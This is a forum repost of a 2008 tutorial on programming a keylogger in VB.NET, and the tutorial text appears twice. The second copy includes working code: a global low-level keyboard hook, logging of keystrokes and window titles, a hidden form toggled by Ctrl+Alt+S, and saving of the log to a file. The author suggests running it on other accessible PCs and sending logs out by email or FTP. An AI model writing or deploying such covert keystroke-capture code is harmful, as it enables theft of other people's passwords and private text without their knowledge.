07-14-2008, 06:24 PM
Introduction
This tutorial aims to teach you how to program a basic Keylogger in VB.NET for Windows Operating Systems (tested with WinXp)
Original WEb Site For This Tutorial - Programming a Keylogger - VB.NET
Keyloggers, as you probably know, are little applications whose only purpose is to log the user keystrokes. Often associated with evil intents (getting data which, normally, wasn't accessible to you), keyloggers are also useful for debugging and statistics.
By creating a Keylogger you'll end up learning how to access various Operative System functions thus gaining a greater knowledge of how everything works under the hood :)
How does it work?
The keylogger we are going to create in this tutorial uses a Low-Level Keyboard Hook to get the keyboard events.
If you don't know what a hook is, picture a highway with lots of cars. These cars will be our events (keyboard events in this case) and the highway is the ‘normal' event distribution mechanism. When you install a hook in the system, you create a detour in the highway. Traffic gets redirected to the alternative route you specified where you can examine all the cars passing by, apprehend those which shouldn't return to the highway (consuming the events to prevent certain key combinations, for example) and let the others return to their normal course.
Preparing our Application
The first thing we'll have to do in our application is import all the necessary Windows API functions and set the global variables and constants which are going to have a special meaning to us.
Functions
SetWindowsHookEx() - Creates the hook
CallNextHookEx() - Allows us to send the event back to the ‘highway'
UnhookWindowsHookEx() - Deletes the hook
GetForegroundWindow() - Gets a handle for the focused window
GetWindowText() - Reads the caption of the window specified by the handle
[/code]
Delegate
KeyboardHookDelegate() - Behaves as a pointer type to a certain function that will be called when an event is caught.
Constants, Structures And Enums
Const. WM_KEYUP, WM_KEYDOWN, WM_SYSKEYDOWN, WM_SYSKEYUP - Specify the type of keyboard event being analyzed
Structure KBDLLHOOKSTRUCT - A special structure that will hold info related to the pressed key
Enum virtualKey - A enumeration containing the most common keycodes for easy access (check the source code below for the full list.
Global Variables
KeyboardHandle - The handle of the hook we'll set. We need to save this value so that we can later remove it.
LastCheckedForegroundTitle - String containing the Title of the foreground window when we last checked it.
KeyLog - String containing the captured text which should be saved to a text file
Callback - Pointer to the function that will receive the event
Creating the Hook
We are now ready to create our first function HookKeyboard(). This function will handle all the procedures regarding creating the hook and saving the Hook handle.
As you can see, SetWindowsHookEx takes 4 parameters: the first one identifies the type of hook to be initialized (13 stands for Low-Level Keyboard Hook); the second specifies the delegate of the function to be called when an event is caught; the third one identifies the address of the module which owns the hook so that the OS knows where to send the events; and, finally, the 4th one specifies whether the hook is global (0) or associated with a certain process (handle of the process).
The return value is the handle of the created hook. If it is equal to 0 then the hook initialization failed.
We can also create another function which will tell us if the keyboard is hooked at a given time. It is as simple as checking if the handle is equal to 0 or not
Dealing with an eventNow comes the interesting part! We are about to create the function that will handle our keyboard events. This function takes 3 arguments: code - If it is lower than 0 you shouldn't block the event; wParam - Type of event (one of the 4 WM_ constants we set earlier); and lParam which is a KBDLLHOOKSTRUCT containing info regarding the key that owns the event.
Should you wish to block the event being examined, you just need to call ‘Return 1'. For all the other events which you don't want to consume you must call ‘Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam)'. CallNextHookEx resends the event to the operating system so that it can be treated by the other applications.
This example uses another function called GetActiveWindowTitle() that, through the conjunction of 2 WindowsAPI functions, retrieves the caption (text displayed in the titlebar) of the window with focus. If the current title is different from the one we had examined previously then user changed application focus so we should add a little header to our Log identifying the new Window.
It then proceeds into examining if the event corresponds to a WM_KEYDOWN or WM_SYSKEYDOWN. If that is true then it checks if the "magic key combination" that will hide/show the form is pressed and act accordingly by hiding/showing the form and blocking the event to prevent other things that rely on that key combination from starting.
If the event doesn't correspond to our key combination then it is a normal key event and should be recorded. While this example only checks for ‘letter and digits' (A-Z; 0-9) keys in order to economize some space, the full source code of the keylogger down below checks for more keys.
Finally, the event is sent to other applications as if nothing had happened
NOTE: One could also use ToAscii() or ToUnicode() functions of the WindowsAPI to convert the keystrokes into text. However, these functions often behave in a strange manner (such as with accentuation and shift state) so I prefer to convert them on my own.
Deleting the Hook
When you don't need the hook anymore (keylogger stopped or exiting), it is imperative that you delete it! Failure to do so may harm your system and result in a forced reboot. In order to accomplish that you use the following function:
Saving the Info
What would be the use of a keylogger if you were unable to store the keys it logs for future reference? Fortunately, it is very easy to write all the logged keys into a text file. You just need to use:
You can place it on the FormClosing event or you can use a timer and save it from x to x seconds or even both of them (as I did in the full source)
And there you have it! You may leave it as it is if you have physical access to the logfile (if you use it in your own PC or in another which you can easily access) or you may send it by email or FTP every time the application closes. That however, goes beyond the scope of this tutorial
Download Example work with vb.net 2008 & 2005
This tutorial aims to teach you how to program a basic Keylogger in VB.NET for Windows Operating Systems (tested with WinXp)
Original WEb Site For This Tutorial - Programming a Keylogger - VB.NET
Keyloggers, as you probably know, are little applications whose only purpose is to log the user keystrokes. Often associated with evil intents (getting data which, normally, wasn't accessible to you), keyloggers are also useful for debugging and statistics.
By creating a Keylogger you'll end up learning how to access various Operative System functions thus gaining a greater knowledge of how everything works under the hood :)
How does it work?
The keylogger we are going to create in this tutorial uses a Low-Level Keyboard Hook to get the keyboard events.
If you don't know what a hook is, picture a highway with lots of cars. These cars will be our events (keyboard events in this case) and the highway is the ‘normal' event distribution mechanism. When you install a hook in the system, you create a detour in the highway. Traffic gets redirected to the alternative route you specified where you can examine all the cars passing by, apprehend those which shouldn't return to the highway (consuming the events to prevent certain key combinations, for example) and let the others return to their normal course.
Preparing our Application
The first thing we'll have to do in our application is import all the necessary Windows API functions and set the global variables and constants which are going to have a special meaning to us.
Functions
SetWindowsHookEx() - Creates the hook
CallNextHookEx() - Allows us to send the event back to the ‘highway'
UnhookWindowsHookEx() - Deletes the hook
GetForegroundWindow() - Gets a handle for the focused window
GetWindowText() - Reads the caption of the window specified by the handle
[/code]
Delegate
KeyboardHookDelegate() - Behaves as a pointer type to a certain function that will be called when an event is caught.
Code:
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As IntegerConstants, Structures And Enums
Const. WM_KEYUP, WM_KEYDOWN, WM_SYSKEYDOWN, WM_SYSKEYUP - Specify the type of keyboard event being analyzed
Structure KBDLLHOOKSTRUCT - A special structure that will hold info related to the pressed key
Enum virtualKey - A enumeration containing the most common keycodes for easy access (check the source code below for the full list.
Code:
Private Const WM_KEYUP As Integer = &H101Private Const WM_KEYDOWN As Short = &H100SPrivate Const WM_SYSKEYDOWN As Integer = &H104Private Const WM_SYSKEYUP As Integer = &H105 Public Structure KBDLLHOOKSTRUCT Public vkCode As Integer 'KeyCode (Of interest to us) Public scanCode As Integer 'ScanCode Public flags As Integer Public time As Integer Public dwExtraInfo As IntegerEnd Structure Enum virtualKey K_Return = &HD K_Backspace = &H8 K_Space = &H20 K_Tab = &H9 K_Esc = &H1B '...End EnumGlobal Variables
KeyboardHandle - The handle of the hook we'll set. We need to save this value so that we can later remove it.
LastCheckedForegroundTitle - String containing the Title of the foreground window when we last checked it.
KeyLog - String containing the captured text which should be saved to a text file
Callback - Pointer to the function that will receive the event
Code:
Private KeyboardHandle As IntPtr = 0Private LastCheckedForegroundTitle As String = ""Private callback As KeyboardHookDelegate = NothingPrivate KeyLog As StringCreating the Hook
We are now ready to create our first function HookKeyboard(). This function will handle all the procedures regarding creating the hook and saving the Hook handle.
Code:
Public Sub HookKeyboard() callback = New KeyboardHookDelegate(AddressOf KeyboardCallback) KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)End SubAs you can see, SetWindowsHookEx takes 4 parameters: the first one identifies the type of hook to be initialized (13 stands for Low-Level Keyboard Hook); the second specifies the delegate of the function to be called when an event is caught; the third one identifies the address of the module which owns the hook so that the OS knows where to send the events; and, finally, the 4th one specifies whether the hook is global (0) or associated with a certain process (handle of the process).
The return value is the handle of the created hook. If it is equal to 0 then the hook initialization failed.
We can also create another function which will tell us if the keyboard is hooked at a given time. It is as simple as checking if the handle is equal to 0 or not
Code:
Private Function Hooked() Return KeyboardHandle <> 0 End FunctionDealing with an eventNow comes the interesting part! We are about to create the function that will handle our keyboard events. This function takes 3 arguments: code - If it is lower than 0 you shouldn't block the event; wParam - Type of event (one of the 4 WM_ constants we set earlier); and lParam which is a KBDLLHOOKSTRUCT containing info regarding the key that owns the event.
Should you wish to block the event being examined, you just need to call ‘Return 1'. For all the other events which you don't want to consume you must call ‘Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam)'. CallNextHookEx resends the event to the operating system so that it can be treated by the other applications.
Code:
Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer 'Get current foreground window title Dim CurrentTitle = GetActiveWindowTitle() 'If title of the foreground window changed If CurrentTitle <> LastCheckedForegroundTitle Then LastCheckedForegroundTitle = CurrentTitle 'Add a little header containing the application title and date KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf End If 'Variable to hold the text describing the key pressed Dim Key As String = "" 'If event is KEYDOWN If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then 'If we can block events If Code >= 0 Then 'If Ctrl+Alt+S If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then Me.Visible = Not Me.Visible 'Hide/Show form Return 1 'Block event End If End If 'Translate virtual key into character/expression Select Case lParam.vkCode Case virtualKey.K_0 To virtualKey.K_9 Key = ChrW(lParam.vkCode) Case virtualKey.K_A To virtualKey.K_Z Key = ChrW(lParam.vkCode + 32) End Select End If 'Add it to the log KeyLog &= Key Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications End Function Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStrEnd FunctionThis example uses another function called GetActiveWindowTitle() that, through the conjunction of 2 WindowsAPI functions, retrieves the caption (text displayed in the titlebar) of the window with focus. If the current title is different from the one we had examined previously then user changed application focus so we should add a little header to our Log identifying the new Window.
It then proceeds into examining if the event corresponds to a WM_KEYDOWN or WM_SYSKEYDOWN. If that is true then it checks if the "magic key combination" that will hide/show the form is pressed and act accordingly by hiding/showing the form and blocking the event to prevent other things that rely on that key combination from starting.
If the event doesn't correspond to our key combination then it is a normal key event and should be recorded. While this example only checks for ‘letter and digits' (A-Z; 0-9) keys in order to economize some space, the full source code of the keylogger down below checks for more keys.
Finally, the event is sent to other applications as if nothing had happened
NOTE: One could also use ToAscii() or ToUnicode() functions of the WindowsAPI to convert the keystrokes into text. However, these functions often behave in a strange manner (such as with accentuation and shift state) so I prefer to convert them on my own.
Deleting the Hook
When you don't need the hook anymore (keylogger stopped or exiting), it is imperative that you delete it! Failure to do so may harm your system and result in a forced reboot. In order to accomplish that you use the following function:
Code:
Public Sub UnhookKeyboard() If (Hooked()) Then If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then KeyboardHandle = 0 'We have unhooked successfully End If End IfEnd SubSaving the Info
What would be the use of a keylogger if you were unable to store the keys it logs for future reference? Fortunately, it is very easy to write all the logged keys into a text file. You just need to use:
Code:
My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)You can place it on the FormClosing event or you can use a timer and save it from x to x seconds or even both of them (as I did in the full source)
And there you have it! You may leave it as it is if you have physical access to the logfile (if you use it in your own PC or in another which you can easily access) or you may send it by email or FTP every time the application closes. That however, goes beyond the scope of this tutorial
Download Example work with vb.net 2008 & 2005
